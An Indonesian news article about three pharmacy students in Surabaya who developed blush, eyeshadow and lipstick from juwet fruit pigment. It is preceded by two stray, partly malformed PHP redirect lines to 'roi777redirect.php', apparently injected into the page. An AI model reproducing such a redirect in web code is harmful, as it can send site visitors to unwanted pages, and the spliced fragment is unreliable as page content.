header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Inovatif, Bikin Kosmetik Berbahan Dasar Buah Juwet -
Inovatif, Bikin Kosmetik Berbahan Dasar Buah Juwet

TRANSLAMPUNG.COM – KOSMETIK merupakan kebutuhan sekunder yang saat ini digandrungi oleh kaum wanita. Berbagai macam kosmetik dipasarkan di Indonesia, baik buatan dalam negeri maupun impor.

Namun kurangnya pemahaman masyarakat mengenai  kandungan bahan yang digunakan pada kosmetik dapat merugikan diri sendiri. Padahal Indonesia sendiri kaya akan sumber daya alam yang dapat dipergunakan untuk bahan dasar kosmetik. Salah satunya adalah buah juwet.

Adalah Yulia Riani Latelay, Fransisca Yunita Dwiwulandari, dan Dwi Augusnita Sari yang berhasil membuat beberapa produk kosmetik berbahan dasar buah dengan nama ilmiah Syzygium cumini tersebut. Yulia dengan pemerah pipi atau blush on, Fransisca dengan pemulas mata atau eyeshadow, serta Nita, panggilan akrab Dwi Augusnita Sari, dengan produk kosmetik berupa lipstik.

Ketiga mahasiswi Program Studi (Prodi) Profesi Apoteker Fakultas Farmasi Universitas Katolik Widya Mandala (UKWM) Surabaya melihat jika salah satu jenis buah tropis itu memiliki kandungan-kandungan tertentu yang aman jika dikembangkan dalam bidang kosmetik.

“Dari penelitian, ternyata juwet memiliki kandungan pigmen antosianin atau pigmen yang memberi warna merah keunguan cukup tinggi. Nah, kandungan inilah yang akhirnya saya kreasikan hingga terciptalah blush on,” jelasnya.

Memakan waktu penelitian hingga dua bulan, blush on dari bahan dasar buah juwet ini memiliki beberapa kriteria agar blush on bisa dibuat sempurna. Salah satunya adalah buah harus yang berwarna ungu kehitaman dengan ukuran panjang 3-3,5 cm.

“Setelah dicuci, kulit dan daging buah juwet dihancurkan menggunakan juicer dan diperas hingga diperoleh sari juwet. Hasil sari juwet kemudian diuapkan di atas waterbath dengan kondisi suhu 40-60  hingga mengental. Lalu ekstrak kental dilakukan proses standardisasi untuk menjamin mutu dan kualitasnya,” ujar gadis kelahiran Lospalos, Timor-Timur ini.

Meski melalui proses serta penelitian selama berbulan-bulan, ketiga mahasiswi ini berharap dapat terus mengembangkan produk kosmetik berbahan alami untuk memajukan perekonomian khususnya pedagang buah lokal.

“Kami berharap blush on, eyeshadow, maupun lipstik ini dapat dipatenkan. Dan tentunya dapat diproduksi dalam jumlah yang besar di pabrik industri kosmetik,” harap ketiga mahasiswi ini. (jpg/rus)

 

 

 

 

 

News Reporter